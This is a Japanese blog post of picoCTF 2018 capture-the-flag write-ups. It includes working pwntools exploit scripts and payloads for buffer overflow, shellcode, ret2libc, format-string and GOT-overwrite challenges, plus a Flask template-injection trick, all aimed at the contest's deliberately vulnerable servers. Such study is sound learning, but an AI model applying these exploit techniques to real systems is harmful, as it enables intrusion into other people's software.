picoCTF2018 writeups

# はじめに
CTFに取り組み始めて２ヶ月経ったくらいです。
[picoCTF2018](https://2018game.picoctf.com/)に初参加しました。
大会終了時のスコアは8,000点をちょっと超え、1,040位台でした。１，０００位は切りたかったな。。

今回初めてwriteupを書きます。
なお、大会終了後も[公式サイト](https://2018game.picoctf.com/)に登録して試すことができます。

※書きかけです。順次更新していきます。

# 環境
macOS　High Sierra
virtual box (Ubuntu 16.04)

# writeups
他の方が既に書いている場合、リンクを書いています。

## Forensics
### Forensics Warmup 1 - Points: 50 Forensics
### Forensics Warmup 2 - Points: 50 Forensics
### Desrouleaux - Points: 150 Forensics
https://qiita.com/Euglenese/items/ea85a1071c56ac7d7a5e
### Reading Between the Eyes - Points: 150 Forensics
### Recovering From the Snap - Points: 150 Forensics
### admin panel - Points: 150 Forensics

### now you don't - Points: 200 Forensics
### hex editor - Points: 150 Forensics
### Truly an Artist - Points: 200 Forensics
### Ext Super Magic - Points: 250 Forensics
### Lying Out - Points: 250 Forensics
### What's My Name? - Points: 250 Forensics
### core - Points: 350 Forensics
### Malware Shops - Points: 400 Forensics
### LoadSomeBits - Points: 550 Forensics


## General Skills
### General Warmup 1 - Points: 50 General Skills
### General Warmup 2 - Points: 50 General Skills
### General Warmup 3 - Points: 50 General Skills
### grep 1 - Points: 75 General Skills
### net cat - Points: 75 General Skills
https://qiita.com/Euglenese/items/ea85a1071c56ac7d7a5e

### Resources - Points: 50 General Skills
### strings - Points: 100 General Skills
### pipe - Points: 110 General Skills
### grep 2 - Points: 125 General Skills
### Aca-Shell-A - Points: 150 General Skills

### environ - Points: 150 General Skills
### ssh-keyz - Points: 150 General Skills
### what base is this? - Points: 200 General Skills
### you can't see me - Points: 200 General Skills
### absolutely relative - Points: 250 General Skills
### in out error - Points: 275 General Skills
### learn gdb - Points: 300 General Skills
### roulette - Points: 350 General Skills
### store - Points: 400 General Skills
### script me - Points: 500 General Skills

https://github.com/scai16/CTF/tree/master/2018/PicoCTF%202018/script%20me
### Dog or Frog - Points: 900 General Skills


## Reversing
### Reversing Warmup 1 - Points: 50 Reversing
### Reversing Warmup 2 - Points: 50 Reversing

### quackme - Points: 200 Reversing
### assembly-0 - Points: 150 Reversing
### assembly-1 - Points: 200 Reversing
### be-quick-or-be-dead-1 - Points: 200 Reversing
### assembly-2 - Points: 250 Reversing
### be-quick-or-be-dead-2 - Points: 275 Reversing
### Radix's Terminal - Points: 400 Reversing
### assembly-3 - Points: 400 Reversing
### keygen-me-1 - Points: 400 Reversing

## Cryptography
### Crypto Warmup 1 - Points: 75 Cryptography
### Crypto Warmup 2 - Points: 75 Cryptography
### HEEEEEEERE'S Johnny! - Points: 100 Cryptography
### caesar cipher 1 - Points: 150 Cryptography
### hertz - Points: 150 Cryptography
### blaise's cipher - Points: 200 Cryptography
### caesar cipher 2 - Points: 250 Cryptography
### rsa-madlibs - Points: 250 Cryptography
### Magic Padding Oracle - Points: 450 Cryptography

## Web Exploitation
### Inspect Me - Points: 125 Web Exploitation
### Client Side is Still Bad - Points: 150 Web Exploitation
### Logon - Points: 150 Web Exploitation
### Irish Name Repo - Points: 200 Web Exploitation

### Mr. Robots - Points: 200 Web Exploitation
**Solve**
Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:15298

**Hints**
What part of the website could tell you where the creator doesn't want you to look?

**方針**
HTMLを見て特に問題も無いしwiresharkでパケットを見てもヒントなし。。
題名のMr. Robotsはドラマの名前ですが、、・・・ロボット！

**writeup**
Mr. Robots → ロボット → [robots.txt](https://ja.wikipedia.org/wiki/Robots_Exclusion_Standard) という連想で、
http://2018shell1.picoctf.com:15298/robots.txt
にアクセス。

```text:robots.txt
User-agent: *
Disallow: /c4075.html
```

http://2018shell1.picoctf.com:15298/c4075.html

でフラグゲット。

### No Login - Points: 200 Web Exploitation
### Secret Agent - Points: 200 Web Exploitation
### Buttons - Points: 250 Web Exploitation
### The Vault - Points: 250 Web Exploitation

### Artisinal Handcrafted HTTP 3 - Points: 300 Web Exploitation
**Solve**
We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell1.picoctf.com 33281, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`.

**Hints**
_Be the browser._ When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form?

[参考writeup](https://ctftime.org/writeup/11760)

**方針とwriteup**
[参考writeup](https://ctftime.org/writeup/11760)に書いてあるとおりです。
ブラウザでは直接アクセスできないので nc(netcat)をターミナルから叩いて、webブラウザになった気分でHTTPのメソッドを手打ちしていきます。

途中user/passが求められますが、それはSolveにある通りのものを使います。

・・・基本的なHTTPの通信も手打ちだと大変だ。。。

### Flaskcards - Points: 350 Web Exploitation
**Solve**
We found this fishy [website](http://2018shell1.picoctf.com:43165/) for flashcards that we think may be sending secrets. Could you take a look?

**Hints**
・Are there any common vulnerabilities with the backend of the website?
・Is there anywhere that filtering doesn't get applied?
・The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

[参考writeup](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/web-exploitation/#flaskcards)

**方針とwriteup**
flashcard(フラッシュカード)と題名にある Flask というweb frameworkがかかっています。
[Flask](http://flask.pocoo.org/)

まずアクセスして普通にアカウントを作り、ログインします。
「Create Card」をクリック
「Question」に"aaa"、「answer」に"{{1+1}}"を入力し、Createします。
「List Cards」をクリック
answerをみると、「２」と表示されています。
つまり、{{1+1}}が評価されたということ。

なので同様の手順でサーバのconfig情報をダンプさせる、{{config}}を入力してフラグゲットです。

### fancy-alive-monitoring - Points: 400 Web Exploitation

### Secure Logon - Points: 500 Web Exploitation

### Help Me Reset 2 - Points: 600 Web Exploitation
### A Simple Question - Points: 650 Web Exploitation
https://qiita.com/Moko32/items/e4c522fad41de974610c

### LambDash 3 - Points: 800 Web Exploitation


## Binary Exploitation

### buffer overflow 0 - Points: 150 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#buffer-overflow-0

**Solve**
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

**Hints**
How can you trigger the flag to print?
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.

```c:vuln.c
void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

```

**方針**
単純にオーバーランさせればSIGSEGVが飛んできて、ハンドラ(sigsegv_handler)が実行、フラグが表示されます。

**writeup**
shellにログインして、以下を実行すればOKです。
```
./vuln `python -c "print 'a'*(100)"`
```
SIGSEGVが発生するだけオーバーランさせればよいので、今回100文字にしましたが50文字でもOKでした。


### buffer overflow 1 - Points: 200 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#buffer-overflow-1

**Solve**
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_4_9d46ad1b74894db5d4831b91e19ee709 on the shell server. Source.

**Hints**
This time you're actually going to have to control that return address!
Make sure you consider Big Endian vs Little Endian.

```c:vuln.c
#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();
  return 0;
}
```

**方針**
win()の中でflag.txtを読んで、printfしていますが、win()がどこからも呼び出されていません。
問題名にある通り、バッファオーバーフローを使ってwin()を無理やり呼び出すのが基本方針となります。

1) win()のアドレスを知る
2) vuln()の中、gets()で入力を得るが、bufの先頭アドレスからRETURNアドレスの格納位置までのバイト数を知る
3) 標準入力からwin()のアドレスを打ち込む方法

が必要となります。

**writeup**

idaでアセンブラを見てみます。

![スクリーンショット 2018-10-14 6.48.27.png](https://qiita-image-store.s3.amazonaws.com/0/272771/1e1a91ad-ac74-82e3-7785-eb808d218501.png)

win()のアドレスは 0x080485CB とわかります。・・・(1)

![スクリーンショット 2018-10-14 6.37.46.png](https://qiita-image-store.s3.amazonaws.com/0/272771/df85c09c-bdd1-cbc8-21a2-11f20e071f0b.png)


vuln()の中のスタックを書き出すと下図となります。
eaxがgets()の引数として与えられ、そのアドレスに標準入力から値が入れられます。

![スクリーンショット 2018-10-14 17.53.50.png](https://qiita-image-store.s3.amazonaws.com/0/272771/bca9e1b9-e608-717f-f49a-269e925ad39e.png)



gets()でbuf[]の先頭アドレスから44Byte(=32+8+4)目がRETURNアドレスとなることがわかります。・・・(2)

さて、標準入力からどのようにwin()のアドレスを入れるかというと、pythonのpwn packageのp32()を使います。・・・(3)
(1)と(2)で得られた情報を用いると以下となります。

```
python -c "from pwn import *; print 'a'*(32+12)+p32(0x080485cb)" | ./vuln
```

### leak-me - Points: 200 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#leak-me

**Problem**
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 57659. Source.

**Hints**
Are all the system calls being used safely?
Some people can have reallllllly long names you know..


```c:auth.c
int main(int argc, char **argv){

  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin); ・・・(1)
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password."); ・・・(2)

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file); ・・・(3)

  printf("Hello ");
  puts(name);  ・・・(4)

  fgets(password_input, sizeof(password_input), stdin); ・・・(5)
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag(); ・・・(6)
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}
```
**方針**
password[]の中にフラグが入るので、これを表示させたい。
標準入力から入力できるのはname[]とpassword_input[]です((1)と(5))。
この変数への入力をオーバーランさせ、password[]の中を表示させるんでしょうね。

name[]とpassword_input[]どちらを使うかですが、password_input[]の方は(5)を見るとfgets()を用い、バッファの大きさは sizeof(password_input) で規定されているため、オーバーランできません。よってname[]の方を狙います。

**writeup**

```c:
  char password[64];
  char name[256];

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }
```
name[]をオーバーランさせるため、"aaa...aaa1"を入力します。ここで a は250文字分繰り返します。
入力直後は以下のようなメモリの状態となります

||249|250|251|252|253|254|255|
|---|---|---|---|---|---|---|---|
|name[]|'a'|'1'|'\n'|0|0|0|0|

||0|1|2|3|4|5|6|
|---|---|---|---|---|---|---|---|
|password[]|0|0|0|0|0|0|0|

次になぜか入力したname[]に文字列を連結させています。

```c:
  strcat(name, ",\nPlease Enter the Password.");
```

||249|250|251|252|253|254|255|
|---|---|---|---|---|---|---|---|
|name[]|'a'|'1'|','|'\n'|'P'|'l'|'e'|

||0|1|2|3|4|5|6|
|---|---|---|---|---|---|---|---|
|password[]|'a'|'s'|'e'|' '|'E'|'n'|'t'|

これで無事name[]をオーバーランしてpassword[]の領域に侵入できました。

このあと(3)でflagの値が password[] にセットされます。

最後に(4)で puts(name); とされますが、name[]の中ではnull terminateされていないので、文字列はpassword[]の中まで表示されます。

```shell:
$ nc 2018shell1.picoctf.com 57659
What is your name?
aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1
Hello aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1,
Plea_reAllY_s3cuRe_p4s$word_56b977
```

(目印にbも入れ込んでいます)。",Ple"までが name[]。それ以降がpassword[]です。
これでパスワードが入手できました。
一度 CTRL-C でncを抜け、再び入り、入手したパスワードを入力するとフラグが手に入ります。

```shell:
$ nc 2018shell1.picoctf.com 57659
What is your name?
aaa
Hello aaa,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_56b977
picoCTF{...}
```

### shellcode - Points: 200 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#shellcode

**Solve**
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

**Hints**
Maybe try writing some shellcode?
You also might be able to find some good shellcode online.

```c:
#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}
```

**方針**
buf[]にシェルを立ち上げるコードを挿入、実行する。
そのために以下のpwntoolsを使ったpythonコードを実行させます.

```python:
from pwn import *

sh = process('./vuln')

sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()
```
Pwntoolsの機能と使い方まとめ【日本語】
https://qiita.com/8ayac/items/12a3523394080e56ad5a


**writeup**
シェルに入って上記pythonコードを実行し、vuln プロセスにシェルコードを送り込み実行。シェル中でフラグを読みます。

```shell:
$ python                      
Python 2.7.12 (default, Dec  4 2017, 14:50:18)                                                                  
[GCC 5.4.0 20160609] on linux2                                                                                  
Type "help", "copyright", "credits" or "license" for more information.                                          
>>> from pwn import *                                                                                           
>>> sh = process('./vuln')                                                                                      
[x] Starting local process './vuln'
[+] Starting local process './vuln': pid 1634724
>>> sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))                                                    
'Enter a string'                                                                                                
>>> sh.interactive()                                                                                            
[*] Switching to interactive mode
jhh///sh/binh4$ri1QjYQ1j                                                                                
                                X̀        
Thanks! Executing now...                                                                                        
                                                                                                                
ls -la                                                                                                          
total 776                                                                                                       
drwxr-xr-x   2 root       root          4096 Sep 28 08:11 .                                                     
drwxr-x--x 576 root       root         53248 Sep 30 03:45 ..                                                    
-r--r-----   1 hacksports shellcode_3     34 Sep 28 08:11 flag.txt                                              
-rwxr-sr-x   1 hacksports shellcode_3 725408 Sep 28 08:11 vuln                                                  
-rw-rw-r--   1 hacksports hacksports     562 Sep 28 08:11 vuln.c                                                
                                                                                                       
cat flag.txt                                                                                                    
picoCTF{...}  
```

### buffer overflow 2 - Points: 250 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#buffer-overflow-2

**Solve**
Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_1_63b4b691601811c553a7c19e367737b9 on the shell server. Source.

**Hints**
Try using gdb to print out the stack once you write to it!

```c:
#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();
  return 0;
}
```




**方針**
これも buffer overflow 1 と同じく vuln()の戻りアドレスをwin()にしつつ、今度は引数が2つ必要です。


**writeup**

idaでwin()のアドレスを調べると　0x080485CB　です。

vuln()の戻りアドレスの場所をidaで探します。

![スクリーンショット 2018-10-14 16.57.37.png](https://qiita-image-store.s3.amazonaws.com/0/272771/c7d045b7-0323-7eb2-72f1-6ab34e49b974.png)

![スクリーンショット 2018-10-14 16.57.22.png](https://qiita-image-store.s3.amazonaws.com/0/272771/233e0e14-d5c6-5232-9d98-56a808444236.png)

```python:
from pwn import *; 
print 'a'*(100+12)
+p32(0x080485cb)
+'P'*4
+p32(0xDEADBEEF)
+p32(0xDEADC0DE)
```
'P'*4 は、win()を呼び出した戻りアドレスになります。ここは何でもいいので'PPPP'で埋めています。
あとはシェルで送り込みます。

```shell:
$ ls -la              
total 72                                                                                                        
drwxr-xr-x   2 root       root                 4096 Sep 28 07:38 .
drwxr-x--x 576 root       root                53248 Sep 30 03:45 ..
-r--r-----   1 hacksports buffer-overflow-2_1    35 Sep 28 07:38 flag.txt                                       
-rwxr-sr-x   1 hacksports buffer-overflow-2_1  7708 Sep 28 07:38 vuln
-rw-rw-r--   1 hacksports hacksports            793 Sep 28 07:38 vuln.c                                         

$ cat flag.txt        
cat: flag.txt: Permission denied                                                                                

$ python -c "from pwn 
import *; print 'a'*(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
˅PPPPﾭ-                                                                                                         
picoCTF{...}Segmentation fault (core dumped) 
```

### got-2-learn-libc - Points: 250 Binary Exploitation
https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#got-2-learn-libc

**Solve**
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833 on the shell server. Source.

**Hints**
try returning to systems calls to leak information
don't forget you can always return back to main()

**方針**
ソースを見るとvuln()の中でgets()しているのでバッファーオーバーフローを使うのだろうと気付きます。
'/bin/sh'という文字列がuseful_stringという変数に格納されているので、system(useful_string) を呼び出すのでしょう.

```c:vul.c
#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}
```

**writeup**

まず、system() のアドレスがわからないので調べますが、ASLRでアドレスが実行のたびに変わることに対応します。
ASLRではアドレスが変わりますが、glibcの中で相対的な位置は変わらないので、ソース中現れる、puts()の位置からのsystem()の相対アドレスを調べます.

```shell:
$ cd /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833                 
$ gdb ./vuln           
                                             
(gdb) start                                                                                                     
                                                                  
(gdb) p system                                                                                                  
$1 = {<text variable, no debug info>} 0xf75b2940 <system>                                                       
(gdb) p puts                                                                                                    
$2 = {<text variable, no debug info>} 0xf75d7140 <puts>                                                         
(gdb) 
```
0xf75d7140-0xf75b2940=0x24800=149504

puts()のアドレスから 149504 Byte離れた位置にsystem()があることがわかりました。

次に buffer overflow で塗りつぶす関数の戻りアドレスや、system()を呼ぶときの引数のアドレスを調べます。

idaでアセンブラを見つつスタックの様子を書き出すと下図のようになります。
vuln()の中、 gets(buf) で buf[] にバッファに値を入れられます。
![スクリーンショット 2018-10-21 5.35.15.png](https://qiita-image-store.s3.amazonaws.com/0/272771/c702936f-fb3a-be1d-0af7-d65622b9c2f6.png)

バッファオーバーフローさせ、下図のように書き換えます.
![スクリーンショット 2018-10-21 5.35.25.png](https://qiita-image-store.s3.amazonaws.com/0/272771/00e50288-1076-de54-383d-94d2267fefff.png)

これで情報が揃いました。
ではpythonのpwnツールを使い、アタックします.

```python:test.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

user = 'ユーザー名'
pw = 'パスワード'

# SSH で接続し、directoryを変更.
s = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
s.set_working_directory('/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833')

# vulnを実行
p = s.process('./vuln')

offset = -149504

# 指定した文字列が来るまで待つ.それまでに受信した文字列を保持する.
'''
$ ./vuln 
Here are some useful addresses:     [0]
                                    [1]
puts: 0xf7630140                    [2]                                                                         
fflush 0xf762e330                   [3]                                                                         
read: 0xf76a5350                    [4]                                                                         
write: 0xf76a53c0                   [5]                                                                         
useful_string: 0x565f9030           [6]                                                                         
                                    [7]                                                                         
Enter a string:                     [8]                                                                         
aaa                                                                                                             
aaa                                                                                                             
Thanks! Exiting now... 
'''

lines =  p.recvuntil('Enter a string:').split('\n')

print lines
puts = int(lines[2].split(':')[1].strip()[2:], 16)
useful = int(lines[6].split(':')[1].strip()[2:], 16)

log.info('Puts in: 0x{:x}'.format(puts))
log.info('Useful string in: 0x{:x}'.format(useful))

system = puts + offset

payload = 'A' * (148+8+4)+p32(system)+'XXXX'+p32(useful)
p.sendline(payload)
p.recv()
p.sendline('ls -l')
p.sendline('cat flag.txt')
p.sendline('exit')

print p.recvall()

```

実行するとコンソールは以下のようになります。

```shell:
$ ./test.py 
[+] Connecting to 2018shell1.picoctf.com on port 22: Done
[*] xxx@2018shell1.picoctf.com:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.0
    ASLR:     Enabled
[*] Working directory: '/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833'
[+] Starting remote process './vuln' on 2018shell1.picoctf.com: pid 1303146
['Here are some useful addresses:', '', 'puts: 0xf766f140', 'fflush 0xf766d330', 'read: 0xf76e4350', 'write: 0xf76e43c0', 'useful_string: 0x56585030', '', 'Enter a string:']
[*] Puts in: 0xf766f140
[*] Useful string in: 0x56585030
[+] Receiving all data: Done (452B)
[*] Stopped remote process 'vuln' on 2018shell1.picoctf.com (pid 1303146)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xa9d?XXXX0PXV
Thanks! Exiting now...
$ total 16
-r--r----- 1 hacksports got-2-learn-libc_1   37 Sep 28 07:42 flag.txt
-rwxr-sr-x 1 hacksports got-2-learn-libc_1 7856 Sep 28 07:42 vuln
-rw-rw-r-- 1 hacksports hacksports          843 Sep 28 07:42 vuln.c
$ picoCTF{xxx}
$ 
```
フラグが得られました.


### echooo - Points: 300 Binary Exploitation

**Solve**
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
**Hints**
If only the program used puts...

**方針**

flag[]を読みたいが、入力はバッファーの大きさで制限されているためバッファーオーバーフローは使えない。

printf(buf); となっているので、「フォーマット文字列攻撃」を使います。

```c:echo.c
int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  FILE *file = fopen("flag.txt", "r");
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}
```


**writeup**

printf("%8$s");
とすると、「printfの８番目の引数を文字列として表示」という指定になります。
%<引数の何番目か>$<フォーマット>
という見たこともない書式です。これでスタックの値を表示できます。

```shell:
$ nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
picoCTF{XXXX}
```

何番目の引数に狙った値が出るのかはアセンブラを読み解くか、探るかします。
printf("%1$s");
printf("%2$s");
printf("%3$s");
・・・
printf("%8$s");
狙った文字列が出た！とやります。

flag_ptr が指す先を出力しています。

こんな攻撃があるとは知りませんでした。。
防止策は、
printf(buf);
↓
printf("%s", buf);
とすることです。printfにバッファを直接入れるのはNGですね。

### got-shell? - Points: 350 Binary Exploitation

**Solve**
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell1.picoctf.com 46464. Source(auth.c)

**Hints**
Ever heard of the Global Offset Table?

```c:auth.c
void win() {    // ・・・ (1)
  system("/bin/sh");
}

int main(int argc, char **argv) {

  char buf[256];
  
  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);    // ・・・(2)

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);
  
  scanf("%x", &value);    // ・・・(3)

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;    // ・・・(4)

  puts("Okay, exiting now...\n");    // ・・・(5)
  exit(1);
  
}
```

[参考writeup](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#got-shell)

**方針**

win()関数(1)を呼び出せばshellが起動できることはわかりますが、問題はどうやってwin()を呼び出すか、です。
標準入力から入力を得る、scanf()が２箇所(2)と(3)にあります。
しかしフォーマットがいずれも"%x"なので４Byte以上は書き込めません。つまりバッファーオーバーフローできない。。
問題名やヒントを見るとGOT(Global Offset Table)とあります。

GOTの解説を読んでみます。([リンク](https://nuc13us.wordpress.com/2015/12/25/hack-using-global-offset-table/))
書籍では [ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ](https://www.amazon.co.jp/dp/B01GH9AM8C/) にもわかりやすく書いています。

Cレベルでputs()を呼び出す。→ 実はアセンブラレベルでは puts@plt() を呼び出している → PLT(procedure linkage table)が呼ばれる → GOTを引き、puts()本体のアドレスを取り出し、ジャンプ。→ puts()が呼ばれる。

という流れになります。図示すると以下です。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/272771/10c4492e-1a63-f387-683b-98b4e05e92cc.png)

このGOTの中にあるputs()のアドレスを、win()のものに書き換えれば良さそうです(4),(5)。

なお、GOTの中にあるアドレスは一番最初にその関数が呼び出された時に設定されます。
gdbで追っていくとわかりやすいです。下図とgdbの結果を書きましたので見比べてください。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/272771/1c8482b7-dda2-f075-e334-6d6ee241cf00.png)

```shell:puts()の最初の呼び出し前
gdb-peda$ x/3i 0x80483d0
   0x80483d0 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x80483d6 <puts@plt+6>:	push   0x0
   0x80483db <puts@plt+11>:	jmp    0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0x080483d6  // ここがGOTの中身。
```

```shell:puts()の最初の呼び出し後
gdb-peda$ x/3i 0x80483d0
   0x80483d0 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x80483d6 <puts@plt+6>:	push   0x0
   0x80483db <puts@plt+11>:	jmp    0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0xf7e68140  // ここがGOTの中身。書き換わっている。
```

**writeup**

win()のアドレス、puts()のGOTのアドレスはidaでアセンブラを見ればわかります。
もちろんgdbで追っていってもわかります。

ソースコード中、(4)でGOTがputs()からwin()のアドレスに変わり、(5)でputs()を呼び出すとwin()が呼び出されてシェル起動です。

```python:mypwn.py
from pwn import *

putsGOT = '0804a00c'
winAddr = '0804854b'

sh = remote('2018shell2.picoctf.com', 46464)

sh.sendlineafter('?\n', putsGOT)
sh.sendlineafter('\n', winAddr)

sh.interactive()
```

シェルの中で $ls して、 $ cat flag.txt すればフラグゲットです。

なお、下記コードではだめでした。。なぜだろう。。？

```python:
from pwn import *

putsGOT = 0x0804a00c
winAddr = 0x0804854b

sh = remote('2018shell2.picoctf.com', 46464)

sh.sendlineafter('?\n', p32(putsGOT))
sh.sendlineafter('\n', p32(winAddr))

sh.interactive()
```

### rop chain - Points: 350 Binary Exploitation
**Solve**
Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d on the shell server? Source(rop.c).

**Hints**
Try and call the functions in the correct order!
Remember, you can always call main() again!

```c:rop.c
#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else {
    //だめ
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else {
    //だめ
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){
  vuln();
}
```

